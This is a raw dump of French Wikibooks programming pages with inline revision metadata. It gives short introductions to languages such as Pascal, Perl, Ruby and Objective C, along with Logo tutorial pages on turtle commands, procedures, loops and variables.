[[Programmation Glossaire U|U]] - [[Programmation Glossaire V|V]] - [[Programmation Glossaire W|W]] - [[Programmation Glossaire X|X]] - [[Programmation Glossaire Y|Y]] - [[Programmation Glossaire Z|Z]] - [[Programmation Glossaire Autres|Autres]] |} Programmation Objective C 738 24777 2005-11-03T08:02:10Z 132.149.107.65 [[Programmation|<< Retour au sommaire]] *[[Programmation Objective C Introduction|Introduction]] == Voir aussi == {{Wikipediapar||Objective-C}} * [[Programmation C]] * [[Programmation Java]] Programmation Objective Caml 739 12418 2004-11-06T11:04:28Z Esope 99 repris de l'ancien site, fait par Vanicat et 80.14.204.13 [[Programmation|<< Retour au sommaire]] *[[Programmation Objective Caml Introduction|Introduction]] *[[Programmation Objective Caml Bases du langage|Bases du langage]] **[[Programmation Objective Caml Types de base|Types de base]] **[[Programmation Objective Caml Conditions|Conditions]] **[[Programmation Objective Caml Fonctions|Fonctions]] **[[Programmation Objective Caml Types évolués prédéfinis|Types évolués prédéfinis]] **[[Programmation Objective Caml Définition de nouveaux Types|Définition de nouveaux Types]] *[[Programmation Objective Caml Les modules|Les modules]] **[[Programmation Objective Caml Les modules Les Structures|Les Structures]] **[[Programmation Objective Caml Les modules Les Signatures|Les Signatures]] **[[Programmation Objective Caml Les modules Les Foncteurs|Les Foncteurs]] *[[Programmation Objective Caml Les objects|Les objets]] *[[Programmation Objective Caml Les autres extensions|Les autres extensions]] *[[Programmation Objective Caml Conclusion|Conclusion]] Programmation Objective C Introduction 740 12419 2004-11-06T11:07:45Z Esope 99 repris de l'ancien site, fait par Traroth et wikifié par mes soins [[Programmation Objective C|<< Retour au sommaire]] '''Objective C''' est un [[Programmation orientée objet|langage de programmation orienté objet]]. Comme [[Programmation C plus plus|C++]], Objective C est une extension du langage [[Programmation C|C]], mais contrairement à [[Programmation C plus plus|C++]], il ne permet pas la programmation non objet. A l'inverse, Objective C offre certaines possibilités, comme les liens dynamiques et le typage dynamique, qui n'existent pas en [[Programmation C plus plus|C++]]. Il existe toutefois des moyens de combiner les avantages de [[Programmation C plus plus|C++]] et d'Objective C. Le code compilé Objective C s'exécute dans un environnement d'exécution (runtime), un peu à la manière de [[Programmation Java|Java]]. Le premier sytème d'exploitation à utiliser Objective C fut NeXTStep, de la société NeXT, fondée par Steve Jobs. Objective C est beaucoup utilisé sur Macintosh, notamment pour les API Cocoa de Mac OS X. Programmation Objective Caml Introduction 741 12420 2004-11-06T11:12:36Z Esope 99 repris de l'ancien site, fait par Vanicat et corrigé (pour l'orthographe) par Traroth [[Programmation Objective Caml|<< Retour au sommaire]] Objectif Caml est un langage de programation [[Programmation fonctionnelle|fonctionnel]] de la famille des [[Programmation ML|ML]]. Il est fortement et statiquement typé, et il inclut un système de module évolué et une extension [[Programmation orientée objet|orientée objet]]. Il s'agit d'un langage developpé par l'INRIA. Programmation Pascal 742 12421 2004-11-06T11:26:34Z Esope 99 repris de l'ancien site, fait par Traroth [[Programmation|<< Retour au sommaire]] *[[Programmation Pascal Introduction|Introduction]] Programmation Pascal Introduction 743 12422 2004-11-06T11:52:51Z Esope 99 repris de l'ancien site, fait par Traroth et wikifié par mes soins [[Programmation Pascal|<< Retour au sommaire]] Le langage de programmation Pascal (dont le nom vient du mathématicien français Blaise Pascal) a été inventé par Niklaus Wirth dans les années 1970. Il a été conçu pour servir à l'enseignement de la programmation de manière rigoureuse mais simple, en réaction à la complexité de l'[[Programmation Algol|ALGOL 68]]. Ce langage est à la base d'une nouvelle méthode de programmation : la programmation structurée. Le goto ou saut n'importe où dans le programme (dit "branchement") est fortement déconseillé, le programme est un assemblage de procédures et de fonctions, dans lesquels on peut utiliser des blocs conditionnels (if, case) et répétitifs (for, while, repeat). Ce qui définit une structure rigide mais efficace. Le langage est de plus fortement typé, c'est-à-dire que toutes les variables doivent avoir un type défini au moment de la compilation. Pour toutes ces raisons, il a largement pénétré le monde de l'éducation et de la recherche (universités). Puis à une moindre mesure celui de l'industrie. Le compilateur P4 a été diffusé en source dans les universités, à un prix très réduit. Il générait du P-Code, un code pour une machine virtuelle. Les programmes Pascal étaient donc facilement portables sur une machine. Il suffisait d'écrire pour elle un interpréteur de P-Code. Il y eut donc rapidement des portages sur 6502, 8080, Z80 et DEC PDP-11, les principaux microprocesseurs de l'époque. Un compilateur eut beaucoup de succès, le UCSD Pascal (UCSD = Univerity of California at San Diego). Notamment sur des machines comme l'Apple II qui furent très diffusées. Mais le coup de "turbo" sera donné par la toute nouvelle société Borland, créée en 1983 qui commercialisa le compilateur Turbo Pascal pour un prix très modique (49 $ de l'époque alors que le compilateur Pascal Microsoft était à plus de 500 $). Le Turbo Pascal a été écrit par Anders Hejlsberg (il s'appelait avant TP, Compass Pascal puis Poly Pascal). Très rapide, il compilait en une passe et produisait du code machine ([[Programmation Assembleur x86|x86]] sous DOS) et non plus du P-Code. Il était livré avec un environnement complet (un éditeur de texte, de l'aide, ce qui était nouveau à l'époque). Il fut constamment amélioré, en 1987, la version 4 apparaît avec un vrai EDI (Environnement de Développement Intégré), en 1989, la version 5.5 apporte l'objet, en 1990, la version 6 permet la programmation de fenêtres, les prémisses de l'évènementiel. Et puis 1993, la dernière version, la 7, pour DOS et pour Windows. En 1995, pour contrecarrer Microsoft et la programmation visuelle du Visual Basic, Borland sort Delphi qui est, lui, un vrai compilateur qui produit du code machine. En 2001, il produira Kylix, l'équivalent de Delphi pour le monde Linux. Programmation Perl 744 30038 2006-01-24T09:34:17Z Boly38 136 +interlangue +de +en +if +ja +pl [[Programmation|<< Retour au sommaire]] *[[Programmation Perl Introduction|Introduction]] [[de:Perl-Programmierung]] [[en:Programming:Perl]] [[it:Linguaggio Perl]] [[ja:Perl]] [[pl:Perl]] Programmation Perl Introduction 745 12424 2005-06-19T18:40:27Z Greudin 1 ''' [[Programmation Perl|<< Retour au sommaire]] '''Perl''' (Practical Extraction and Report Language ou langage pratique d'extraction et de génération de rapports) est un langage de programmation créé par Larry Wall en 1987 et reprenant des fonctionnalités du langage [[Programmation C|C]] et des langages de scripts sed, [[Programmation Awk|awk]] et shell (sh). Bien que son nom soit l'objet de plusieurs acronymes on l'utilise généralement avec un P majuscule pour désigner le langage et un p minuscule en parlant de l'interpréteur. "Seul perl analyse correctement Perl." ==Origines et implémentation== Perl est né du besoin de disposer d'un langage optimisé pour l'extraction d'informations de fichiers textes et la génération de rapports. Une de ses devises est "There Is More Than One Way To Do It (TIMTOWTDI)" qui pourrait se traduire par "Il y a plus d'une façon de le faire". Une autre est "Perl : le couteau suisse des langages de programmation". Sa souplesse autorise l'emploi de plusieurs modèles de programmation : programmation procédurale, [[Programmation fonctionnelle|programmation fonctionnelle]] et [[Programmation orientée objet|POO]]---bien que les puristes de ce dernier ne considèrent pas Perl comme en faisant partie, son objectif est de s'adapter aux goûts du programmeur plutôt qu'une architecture stricte du langage. Perl est souvent considéré comme le langage de script par définition et a été qualifié de "ciment assurant la cohésion du web", étant un des langages CGI les plus populaires. Perl est un logiciel libre, distribué sous license artistique et GPL. Perl est porté sur la plupart des systèmes d'exploitation mais excelle particulièrement en environnement UNIX et ses dérivés; il gagne aussi en popularité sous Microsoft Windows. Un exemple du champ d'action de Perl est son utilisation comme script CGI pour faire tourner [[w::Accueil|Wikipédia]] jusqu'en janvier 2002. Une immense collection de modules Perl d'utilisation libre, allant des mathématiques avancés aux connexions aux bases de données, en passant par les réseaux et bien davantage encore, peuvent être téléchargés depuis un réseau de sites appelé CPAN. Bien que Perl profite de la plupart des facilités d'un langage interprété, à proprement parler il n'interprète et n'exécute pas le code source une ligne à la fois. En fait, Perl compile d'abord le programme entier dans un bytecode intermédiaire (assez dans l'esprit du code objet [[Programmation Java|Java]]), l'optimisant au passage, et exécute alors ce bytecode. Il est possible de compiler un programme Perl en bytecode pour s'épargner les phases de compilation lors d'exécutions futures, bien que l'"interpréteur" est toujours requis pour exécuter ce code. Perl 6 est en cours de développement. Il tournera dans la machine virtuelle Parrot. Programmation Logo 746 33093 2006-02-16T14:38:28Z Garzol 521 [[Programmation|<< Retour au sommaire]] *[[Programmation Logo Introduction|Introduction]] *[[Programmation Logo Manipulation de la tortue|Manipulation de la tortue]] *[[Programmation Logo Procédures et fonctions|Procédures et fonctions]] *[[Programmation Logo Itérations|Itérations]] *[[Programmation Logo Conditions|Conditions]] *[[Programmation Logo Calculs|Calculs]] *[[Programmation Logo Variables|Variables]] *[[Programmation Logo Listes|Listes]] *[[Programmation Logo Divers|Divers]] *[[Programmation Logo Conclusion|Conclusion]] *[[Programmation Logo Logiciels|Logiciels]] Programmation Logo Introduction 747 36825 2006-03-09T22:26:44Z 217.229.106.29 +logo turtle graphic {{Programmation Logo}} Il s'agit d'un langage très simple destiné à l'enseignement de la programmation. Des ordres simples sont donnés à une "tortue" qui dessine à l'écran. Exemple : avance de 50, tourne de 90 4 fois de suite et cela dessine un carré... [[Image:Remi_turtlegrafik.png|thumb|Logo turtle graphic]] Modèle:Programmation Logo 748 12427 2004-11-06T12:54:06Z Esope 99 création, essai {| style="border:1px #77AAAAsolid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;background:#EAF5FB;" | [[Programmation]] | [[Programmation Logo|Logo]] |- | *[[Programmation Logo Introduction|Introduction]] *[[Programmation Logo Manipulation de la tortue|Manipulation de la tortue]] *[[Programmation Logo Procédures et fonctions|Procédures et fonctions]] *[[Programmation Logo Itérations|Itérations]] *[[Programmation Logo Conditions|Conditions]] *[[Programmation Logo Calculs|Calculs]] *[[Programmation Logo Variables|Variables]] *[[Programmation Logo Listes|Listes]] *[[Programmation Logo Divers|Divers]] *[[Programmation Logo Conclusion|Conclusion]] |} Programmation Logo Manipulation de la tortue 749 43501 2006-05-30T19:52:26Z Raf177 1586 /* FIXECAP */ {{Programmation Logo}} Logo permet de faire des dessins en donnant des ordres à un instrument appellé ''tortue''. Les principales instructions de la tortue sont : * AVANCE * DROITE * GAUCHE * RECULE * FIXEXY * FIXECAP * MONTRETORTUE * CACHETORTUE * LEVECRAYON * BAISSECRAYON * COULEUR Ces ordres permettent de dessiner librement : === AVANCE === <tt>AVANCE n</tt>, avec ''n'' un entier, va faire avancer la tortue de ''n'' pas dans la direction dans laquelle elle est dirigée. === DROITE === <tt>DROITE n</tt>, avec ''n'' un entier, va modifier la direction de la tortue de ''n'' degrés vers la droite (c'est à dire dans le sens horaire). === GAUCHE === <tt>GAUCHE n</tt>, avec ''n'' un entier, va modifier la direction de la tortue de ''n'' degrés vers la gauche (c'est à dire dans le sens trigonométrique). === RECULE === <tt> RECULE </tt>, avec ''n'' un entier, va faire reculer la tortue de ''n'' pas, c'est à dire la faire avancer dans la direction formant un angle complémentaire avec la direction dans laquelle elle est dirigée. === FIXEXY === <tt>FIXEXY [x y]</tt>, avec ''x'' et ''y'' des entiers, permet de fixer la position de la souris, ''x'' et ''y'' les coordonnés de la nouvelle position. === FIXECAP === <tt>FIXECAP n</tt>, avec ''n'' un entier permet de fixer la direction dans laquelle la tortue doit etre dirigée, ''n'' étant l'angle (l'angle 0 étant l'angle vertical montant). === MONTRETORTUE=== <tt>MONTRETORTUE</tt> permet de visualiser la tortue. === CACHETORTUE === <tt>CACHETORTUE</tt> permet de dissimuler la tortue. === LEVECRAYON === <tt>LEVECRAYON</tt> permet de ne plus tracer de figure, ce qui veut dire les prochains déplacements ne seront plus accompagné d'un tracé (mode par défaut). === BAISSECRAYON === <tt>BAISSECRAYON </tt> permet de recommencer le tracé, ce qui veut dire que les prochains déplacements seront à nouveau accompagnés d'un tracé. === COULEUR === <tt>COULEUR n</tt>, avec ''n'' un nombre entier, permet de séléctionner la couleur des prochains tracés : * 0 : noir * 1 : rouge * 2 : vert * 3 : jaune * 4 : bleu * 5 : violet * 6 : bleu clair * 7 : blanc Si ''n'' est supérieur à 7, la couleur sera égale à ''n'' modulo 8. Par exemple, 8 donne noir. Modèle:Programmation HTML 750 43701 2006-06-01T13:59:08Z VIGNERON 312 corr. liens <div style="background-color:#fff; border: 1px solid #8b0000; float: right; margin-bottom: 1em; margin-left: 1em; width: 12em;"> <div style="background-color:#b22222; font-weight: bold; text-align: center;"> <font style="color: #fff;">[[Programmation]]</font><br /><font style="color:#fff">[[Programmation HTML|HTML]]</font></div> *[[Programmation HTML Introduction|Introduction]] *[[Programmation HTML Structure de base d'un document HTML|Structure de base]] *[[Programmation HTML Entités|Entités]] *[[Programmation HTML Titres et paragraphes|Titre et paragraphes]] *[[Programmation HTML Liens|Liens]] *[[Programmation HTML Images|Images]] *[[Programmation HTML Listes|Listes]] *[[Programmation HTML Tableaux|Tableaux]] *[[Programmation HTML Formulaires|Formulaires]] *[[Programmation HTML Cadres|Cadres]] *[[Programmation HTML Balises complémentaires|Autres balises]] *[[Programmation HTML Calques|Layers]] *[[Programmation HTML Conclusion|Conclusion]] *[[Programmation HTML XML et XHTML|XML et XHTML]] </div> Programmation PHP/Sommaire 753 44634 2006-06-16T10:05:13Z Boly38 136 /* Sommaire */ {{ÉtatDesWikilivres}} {{ÉtatDesWikilivres}} ==Sommaire== *[[Programmation PHP/Introduction|Introduction]] {{100}} **[[Programmation PHP/Introduction#Historique|Historique]] **[[Programmation PHP/Introduction#Sites_Web_statiques_ou_dynamiques|Sites Web statiques ou dynamiques]] **[[Programmation PHP/Introduction#Possibilités|Possibilités]] **[[Programmation PHP/Introduction#Liens_Externes|Liens Externes]] *[[Programmation PHP/Installer PHP|Installer PHP]] {{25}} **Unix **Windows *[[Programmation PHP/Bases du langage|Bases du langage]] {{25}} **[[Programmation PHP/Premier programme|Premier programme (Hello World!)]] {{75}} **[[Programmation PHP/Variables|Les variables]] {{75}} **[[Programmation PHP/Constantes|Les Constantes]] {{100}} **[[Programmation PHP/Opérateurs|Opérateurs]] {{50}} **[[Programmation PHP/Mots clefs réservés|Mots clefs réservés]] {{25}} **[[Programmation PHP/Structures de contrôle|Les structures de contrôle]] {{100}} **[[Programmation PHP/Bases de données|Les bases de données]] {{75}} * '''Apprendre par l'exemple : ''' ** Leçon n° 1 : [[Programmation PHP/Exemples/Premier programme|Premier programme en php]] {{100}} ** Leçon n° 2 : [[Programmation PHP/Exemples/Variables|Utilisation de variables]] {{100}} ** Leçon n° 3 : [[Programmation PHP/Exemples/Sommaire|Un sommaire simple]]{{100}} ** Leçon n° 4 : [[Programmation PHP/Exemples/Formulaire|Interaction avec un formulaire]]{{100}} ** Leçon n° 5 : [[Programmation PHP/Exemples/BD 1|Afficher le résultat d'une requête]] {{100}} ** Leçon n° 6 : [[Programmation PHP/Exemples/BD 2|Modifier une table]]{{25}} ** Leçon n° 7 : [[Programmation PHP/Exemples/Livre|Faire un livre d'or]]{{00}} ** Leçon n° 8 : [[Programmation PHP/Exemples/MiniCMS|Faire un mini CMS]]{{00}} ** Leçon n° 9 : [[Programmation PHP/Exemples/MiniForum|Faire un mini forum de discussion]]{{00}} * '''Apprendre AJAX par l'exemple : ''' ** Leçon n° 1 : [[Programmation PHP/Ajax/Sommaire|un sommaire en Ajax]] ** Leçon n° 2 : [[Programmation PHP/Ajax/Date|Mettre à jour périodiquement un cadre]] *[[Programmation PHP/Dossiers|Dossiers]] {{25}} **Introduction **[[Programmation PHP/La programmation orientée objet|La programmation orientée objet]] {{100}} **[[Programmation PHP/La librairie PEAR DB|La librairie PEAR DB]] {{100}} **[[Programmation PHP/La librairie ADODB|La librairie ADODB]] {{00}} **[[Programmation PHP/La librairie DOM|La librairie DOM]] {{25}} **[[Programmation PHP/Concevoir du code de haute qualité|Concevoir du code de haute qualité]] {{75}} Programmation Python 754 44633 2006-06-16T10:03:37Z Boly38 136 nouvelle présentation comme [[Programmation PHP]] {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" | {| width="100%" bgcolor="lightblue" |- | bgcolor="lightblue" valign="middle" width="90%" align="center" | <font size="+1">Programmation Python</font> ''un livre appartenant à la série [[Programmation]] du [[Wikiversité:Département informatique|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" | width="20%" | {{Sous section|nom=Programmation Python/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Programmation Python/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_Python&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_Python&action=purge '''Rafraîchir la page'''] |- |} |- |} __NOEDITSECTION__ [[de:Python-Programmierung]] [[en:Programming:Python]] [[pl:Programowanie:Python]] [[pt:Python]] Modèle:Langues 755 12434 2004-11-06T16:12:02Z Esope 99 création sur le modèle anglais, avec distinction des Wikibooks ayant leur propre nom de domaine et les autres Pendant un certain temps, le projet Wikilivres d'une langue est hébergé sur le [[:Main Page|site anglais]], afin de vérifier si ça vaut la peine de créer un site propre pour le projet. Si l'on remarque que le Wikilivres d'une langue arrive à vivre de lui-même, il dispose de son propre nom de domaine. Wikilivres dans d'autres langues ayant leur propre nom de domaine : [[:cs:Hlavní strana|Česky]] - [[:de:Hauptseite|Deutsch]] - [[:el:Κύρια Σελίδα|Ελληνικά]] - [[:en:Main Page|English]] - [[:es:Portada|Español]] - [[:et:Esileht|Eesti]] - [[:he:עמוד ראשי|עברית]] - [[:ie:Págine Cardinal|Interlingue(occidental)]] - [[:it:Pagina principale|Italiano]] - [[:ku:Serûpel|Kurdî]] - [[:nl:Hoofdpagina|Nederlands]] - [[:pt:Página principal|Português]] - [[:ru:Заглавная страница|Русский]] - [[:sv:Huvudsida|Svenska]] - [[:vi:Trang Chính|Tiếng Việt]] - [[:tr:Ana Sayfa|Türkçe]] Wikilivres dans d'autres langues hébergés sur le [[:Main Page|site anglais]] : [[:en:Main Page:عربی|عربی]] - [[:en:Pàgina principal|Català]] - [[:en:Main Page:فارسی|فارسی]] - [[:en:Main Page:Galego|Galego]] - [[:en:Main Page:Hō-ló-ōe|Hō-ló-ōe]] - [[:en:Main Page:Indonesia|Indonesia]] - [[:en:Main Page:Interlingua|Interlingua]] - [[:en:Main Page:Hō-ló-ōe|Hō-ló-ōe]] - [[:en:Main Page:Indonesia|Indonesia]] - [[:en:Main Page:Interlingua|Interlingua]] - [[:en:Main Page:한국어|한국어]] - [[:en:Main Page:Melayu|Melayu]] - [[:en:Main Page:Norsk|Norsk]] - [[:en:Main Page:日本語|日本語 (Nihongo)]] - [[:en:lfr mrfm|oro omor mdrm (solresol)]] - [[:en:Main Page:Polski|Polski]] - [[:en:Main Page:Română|Română]] - [[:en:Main Page:Suomi|Suomi]] - [[:en:Main Page:தமிழ்|தமிழ்]] - [[:en:Main Page:中文|中文 (Zhongwen)]] Programmation Rebol 757 12436 2004-11-07T00:44:25Z Esope 99 repris de l'ancien site, fait par Traroth {{Programmation}} *[[Programmation Rebol Introduction|Introduction]] Programmation Rebol Introduction 758 12437 2005-01-20T16:56:35Z 82.228.157.65 [[Programmation Rebol|<< Retour au sommaire]] '''Rebol''' est un langage de programmation script de haut-niveau conçu et imaginé par Carl Sassenrath basé sur les sémantiques dénotationnelles et se proclamant "Messaging Language". Concrètement, il est caractérisé par une grande rapidité de développement et des programmes légers, du fait de son haut niveau d'abstraction. Programmation RPG 759 12438 2004-11-07T00:57:32Z Esope 99 rajout du modèle "Programmation" {{Programmation}} RPG est l'acronyme de '''R'''eport '''P'''rogram '''G'''enerator, francisé en GAP pour '''G'''énérateur '''A'''utomatique de '''P'''rogrammes. RPG est avant tout un langage destiné à la gestion (au même titre que [[Programmation Cobol|Cobol]]) et à la manipulation de bases de données. Il est équipé d'instructions spécialisées pour manipuler les fichiers de données de façon la plus efficace et la plus concise possible. Le langage est né en 1961 avec une syntaxe très rigide, en ''colonnes'' héritées des cartes perforées, où la position des opérandes et des opérateurs était imposée. Ses incarnations plus récentes, en particulier RPG/IV apparu en 1995, permettent de disposer beaucoup plus librement le code source. RPG est indissolublement lié aux systèmes IBM, en particulier l'AS/400 : la très grande majorité des applications développées sur ces systèmes le sont en RPG. Programmation Ruby 760 19800 2005-08-22T12:13:20Z Ganjo 161 remise en forme du menu {{Programmation}} N'hésitez pas à modifier ce wikilivre pour en faire quelque chose de plus pédagogique *[[Programmation Ruby Introduction|Introduction]] *[[Programmation Ruby Premier contact|Premier contact]] **[[Programmation Ruby Installation|Installation]] ***[[Programmation Ruby Installation#Installation|Linux]] ***[[Programmation Ruby Installation#Installation|Windows]] ***[[Programmation Ruby Installation#Installation|Autres Systèmes]] **[[Programmation Ruby Premiers essais|Premiers essais]] *[[Programmation Ruby Syntaxe|Syntaxe, Portée, Types]] **[[Programmation Ruby Syntaxe#Syntaxe du langage|Syntaxe du langage]] **[[Programmation Ruby Syntaxe#Typage de canard|Typage de canard]] **[[Programmation Ruby Syntaxe#Portée et syntaxe des variables|Portée et syntaxe des variables]] **[[Programmation Ruby Syntaxe#Expressions|Expressions]] *[[Programmation Ruby Controle|Expressions de contrôle et boucles]] **[[Programmation Ruby Controle#Expressions booléennes|Expressions booléennes]] **[[Programmation Ruby Controle#Les expressions conditionnelles|Expressions conditionnelles]] **[[Programmation Ruby Controle#Les boucles et les itérateurs|Boucles et itérateurs]] *[[Programmation Ruby Types standards|Types standards]] **[[Programmation Ruby Types standards#Chaîne de caractères|Chaine de caractères]] **[[Programmation Ruby Types standards#Valeur numérique|Valeur numérique]] **[[Programmation Ruby Types standards#Expression rationelle|Expression rationelle]] *[[Programmation Ruby Types conteneurs|Conteneurs]] **[[Programmation Ruby Types conteneurs#tableau|Tableau]] **[[Programmation Ruby Types conteneurs#hash|Tableau associatif]] **[[Programmation Ruby Types conteneurs#range|Intervalle]] *[[Programmation Ruby Types iterateurs|Itérateurs sur les types standards]] *[[Programmation Ruby Objets|Programmation Objet]] **[[Programmation Ruby Classes|Les classes]] **[[Programmation Ruby Methodes|Les méthodes]] **[[Programmation Ruby accesseurs|Les accesseurs]] **[[Programmation Ruby heritage|Héritage]] **[[Programmation Ruby exception|Les exceptions]] **[[Programmation Ruby mixins|Les mixins]] **[[Programmation Ruby modules|Les modules]] *[[Programmation Ruby stdlib|La librairie standard]] **[[Programmation Ruby IO|Les entrées sorties]] **[[Programmation Ruby multithreads|Programmation multithreadé]] **[[Programmation Ruby cgis|Les CGIs]] **[[Programmation Ruby ruby-doc|Les autres classes de la librairie standard/utiliser ruby-doc]] *[[Programmation Ruby programmer|Programmer en ruby]] **[[Programmation Ruby debug|Le débuggueur]] **[[Programmation Ruby profile|Le profileur]] **[[Programmation Ruby tests unitaires|Les tests unitaires]] **[[Programmation Ruby rdoc|La documentation]] **[[Programmation Ruby rubygems|Le packaging]] *[[Programmation Ruby Annexes|Annexes]] **[[Programmation Ruby Mots Réservés|Mots Réservés]] **[[Programmation Ruby variables globales prédéfinies|Variables globales prédéfinies]] **[[Programmation Ruby Caractères d'échapements|Caractères d'échapements]] **[[Programmation Ruby Webographie|Webographie]] **[[Programmation Ruby irb|Intéractive Ruby Shell]] **[[Programmation Ruby debug cmds|Commandes du débugueur]] Programmation Ruby Introduction 761 40491 2006-04-18T07:33:45Z Gromitt 1388 correction typos, style, wikilien. [[Programmation Ruby|<< Retour au sommaire]] '''Ruby''', ou la langue rouge, est un langage interprété comparable à [[Programmation Perl|Perl]], [[Programmation Python|Python]] et [[Programmation Smalltalk|Smalltalk]] pour son approche objet. Il est capable de gérer des expressions régulières en langue japonaise, cette langue ayant la caractéristique de regrouper trois systèmes graphiques différents, quatre si l'on compte les caractères romains de plus en plus utilisés pour les mots d'origine étrangère. De plus, Ruby est complètement objet alors que les aspects objets de [[Programmation Python|Python]] ne sont pas intrinsèques au langage. Ruby fut développé dans l'idée de pouvoir programmer tout en restant concentré sur le côté créatif du développement, ainsi ruby se veut aussi souple que [[Programmation Perl|Perl]], tout en restant plus cohérent, notament via son approche entièrement objet (y compris les types primaires), à l'exception des expressions de contrôle (if-then-else, for,...). Le langage est conçu sur le principe de moindre surprise (PoLS : Principle of Least Surprise), rendant le langage plus "sûr" que de nombreux autres langages de script. Ruby est interprété, ce qui en fait un outil de développement rapide, en contrepartie d'un certain relâchement des performances. Ces nombreux avantages font qu'il connait un grand succès au Japon (son pays d'origine), et gagne petit à petit du terrain, notamment dans le domaine de la recherche. Programmation Logo Procédures et fonctions 762 12441 2005-04-03T13:08:35Z 83.179.35.248 /* Instruction RENDS */ {{Programmation Logo}} En [[Programmation Logo|Logo]], une procédure est un ensemble nommé d'instructions qui peut être appelé : <tt> POUR nom<br /> instructions<br /> FIN </tt> L'appel se fera simplement en invoquant le nom de la procédure. == Paramètres == De plus, il est possible de passer des paramètres à la procédure : <tt> POUR nom :parametre<br /> instruction :parametre<br /> FIN </tt> Exemple : <tt> POUR equi :longueur<br/> REPETE 3<br /> [<br /> AVANCE :longueur<br /> DROITE 300<br /> ]<br /> FIN </tt> Cet exemple trace un triangle equilatéral. == Instruction STOP == L'instruction STOP permet de quitter une procédure sans l'exécuter totalement. == Instruction RENDS == L'instruction <tt>RENDS</tt> permet de faire d'une procédure une fonction, en définissant une valeur de retour. Exemple : <tt> POUR double :nombre<br /> RENDS :nombre * 2<br /> FIN ECRIS double 2 </tt> Ce programme va afficher le double du nombre passé en paramètre, soit 4. Programmation Logo Itérations 763 12442 2004-11-07T09:46:34Z Esope 99 repris de l'ancien site, fait par Traroth {{Programmation Logo}} == REPETE == Logo permet d'effectuer de manière simple des itérations, grâce à l'instruction ''REPETE'' : <tt>REPETE n [INSTRUCTIONS]</tt>, avec n un nombre entier, va répéter ''n'' fois le bloc d'instructions entre crochet. Exemple : <tt>REPETE 4 [AVANCE 50 GAUCHE 90]</tt> va tracer un carré ayant 50 de coté. Il est possible d'imbriquer des itérations. == LOOP == L'instruction ''LOOP'' permet de connaitre, à l'intérieur d'une boucle, combien de fois le contenu de la boucle a déjà été répété. == TANTQUE == L'instruction <tt>TANTQUE expression [instructions]</tt> permet de répeter le bloc ''instructions'' tant que la condition contenue dans ''expression'' est vérifiée. Programmation Logo Conditions 764 12443 2004-11-07T09:48:22Z Esope 99 repris de l'ancien site, fait par Traroth + correction orth {{Programmation Logo}} En Logo, une condition est testée avec l'instruction ''SI'' : <tt>SI condition [instructions1] [instructions2]</tt> Si la condition est remplie, le bloc ''instructions1'' est exécuté, sinon, c'est le bloc ''instructions2'' qui l'est. Programmation Logo Calculs 765 12444 2004-11-07T09:49:36Z Esope 99 repris de l'ancien site, fait par Traroth + {{Programmation Logo}} {{Programmation Logo}} == Opérateurs == {| border="1" |'''Opérateur''' |'''Rôle''' |- | (, ) | Parenthèses ouvrantes et fermantes |- | +, - | Addition, soustraction |- | *, / | Multiplication, division |- | ! | Factorielle |- |DIV, MOD |Division entière, reste de la division entière (modulo) |} == Fonctions mathématiques == {| border="1" |'''Fonction''' |'''Rôle''' |- |SQRT |Racine carrée |- |SIN |Sinus |- |COS |Cosinus |- |TAN |Tangente |- |EXP |Exponentielle |- |LOG |Logarithme |- |ABS |Valeur absolue |- |PI |Nombre Pi |} Programmation Logo Variables 766 12445 2004-11-07T09:51:10Z Esope 99 repris de l'ancien site, fait par 81.250.121.13 + {{Programmation Logo}} {{Programmation Logo}} Logo permet un mécanisme simple concernant les variables. ==Instruction DONNE == L'instruction <tt>DONNE</tt> permet d'affecter une valeur à un nom. Exemple : <tt> DONNE "nombre 36<br /> ECRIS :nombre </tt> Ce programme affichera la valeur de la variable, soit 36. Toutefois, il est possible d'affecter les valeurs en cascade. Exemple : <tt> DONNE "nombre1 36<br /> DONNE "nombre2 :nombre1<br /> ECRIS :nombre2 </tt> Ce programme affichera également le nombre 36. == Instruction LOCALE == L'instruction <tt>LOCALE</tt> permet de créer une variable dont la portée se limite à la procédure courante. Programmation Logo Divers 767 12446 2004-11-07T09:52:26Z Esope 99 repris de l'ancien site, fait par Traroth + {{ {{Programmation Logo}} == Instruction CAP == L'instruction <tt>CAP n</tt>, avec ''n'' un angle en degré, permet de désigner de manière absolue la direction de la tortue, la verticale montante étant la référence (angle 0). == Instruction ECRIS == L'instruction <tt>ECRIS x</tt>, avec ''x'' un texte, permet de faire un affichage de texte. == Instruction HASARD == L'instruction <tt>HASARD n</tt>, avec ''n'' un nombre entier, renvoie un nombre aléatoire entre 0 et n. == Instruction VE == L'instruction <tt>VE</tt> permet de vider l'écran. Programmation Logo Conclusion 768 23937 2005-10-22T19:30:47Z 82.239.232.96 {{Programmation Logo}} Logo est un langage d'une remarquable simplicité, ce qui ne l'empêche toutefois d'être puissant dans son domaine de prédilection, le graphisme. Toutes ces qualités en font un langage idéal pour l'apprentissage de la programmation impérative, notamment chez les enfants. Wikilivres:Modèles 769 44612 2006-06-16T09:51:33Z Boly38 136 /* Modèles spécifiques aux livres */ Tableau pour la programmation! et Wikijunior! {{ébauche}} Les modèles sont des pages, contenant habituellement un court texte, pouvant être incluses dans d'autres pages (il suffit d'entourer le nom du modèle de double accolades, comme <nowiki>{{ceci}}</nowiki>. Tout changement apporté à cette partie est immédiatement visible dans les pages concernées. C'est extrêmement pratique pour les textes revenant souvent (table des matières d'un livre, message d'avertissement, etc). A la différence des autres projets [[m:Main Page|Wikimédia]], les articles de [[Accueil|Wikilivres]] sont généralement lus comme des livres. Ce qui implique qu'il est nécessaire pour le succès du projet de faciliter la navigation au sein d'un livre, au moyen par exemple de table des matières, pour éviter le fastidieux "Retour en arrière" pour atteindre une autre page du même livre. Pour cela, rien de 